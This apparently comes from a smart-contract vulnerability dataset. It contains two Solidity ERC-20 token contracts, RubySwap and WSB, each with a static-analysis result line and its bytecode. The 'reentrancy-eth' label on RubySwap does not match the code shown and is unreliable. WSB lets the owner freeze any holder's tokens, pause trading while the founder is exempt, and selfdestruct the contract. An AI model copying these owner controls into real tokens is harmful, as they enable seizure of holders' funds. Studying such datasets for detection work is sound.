{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,232 |
0x06f7adc034c46f0d6e7790bbcae89ae2dd97baad
|
/**
*Submitted for verification at Etherscan.io on 2021-05-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract RubySwap is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'Ruby Swap Token';
string private _symbol = 'RUBYST';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122056ecc69e05522a059d2066d4a03d49b63143edb318ee7046baa2958fdaee034f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,233 |
0xe6f3538e8be63a0e723bc3d380ba86aa7c91bf3d
|
pragma solidity 0.5.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balanceOf(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf(_from) >= _value);
require(balances[_to].add(_value) > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is StandardToken {
event Pause();
event Unpause();
bool public paused = false;
address public founder;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused || msg.sender == founder);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
//The functions below surve no real purpose. Even if one were to approve another to spend
//tokens on their behalf, those tokens will still only be transferable when the token contract
//is not paused.
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WSB is PausableToken {
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev Constructor that gives the founder all of the existing tokens.
*/
constructor() public {
name = "WallStreetBet$";
symbol = "WSB";
decimals = 18;
totalSupply = 90000000000*1000000000000000000;
founder = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/** @dev Fires on every freeze of tokens
* @param _owner address The owner address of frozen tokens.
* @param amount uint256 The amount of tokens frozen
*/
event TokenFreezeEvent(address indexed _owner, uint256 amount);
/** @dev Fires on every unfreeze of tokens
* @param _owner address The owner address of unfrozen tokens.
* @param amount uint256 The amount of tokens unfrozen
*/
event TokenUnfreezeEvent(address indexed _owner, uint256 amount);
event TokensBurned(address indexed _owner, uint256 _tokens);
mapping(address => uint256) internal frozenTokenBalances;
function freezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= balanceOf(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.add(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenFreezeEvent(_owner,_value);
}
function unfreezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= getFrozenBalance(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.sub(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenUnfreezeEvent(_owner,_value);
}
function setFrozenBalance(address _owner, uint256 _newValue) internal {
frozenTokenBalances[_owner]=_newValue;
}
function balanceOf(address _owner) view public returns(uint256) {
return getTotalBalance(_owner).sub(getFrozenBalance(_owner));
}
function getTotalBalance(address _owner) view public returns(uint256) {
return balances[_owner];
}
/**
* @dev Gets the amount of tokens which belong to the specified address BUT are frozen now.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount of frozen tokens owned by the passed address.
*/
function getFrozenBalance(address _owner) view public returns(uint256) {
return frozenTokenBalances[_owner];
}
/*
* @dev Token burn function
* @param _tokens uint256 amount of tokens to burn
*/
function burnTokens(uint256 _tokens) public onlyOwner {
require(balanceOf(msg.sender) >= _tokens);
balances[msg.sender] = balances[msg.sender].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(msg.sender, _tokens);
}
function destroy(address payable _benefitiary) external onlyOwner{
selfdestruct(_benefitiary);
}
}
|
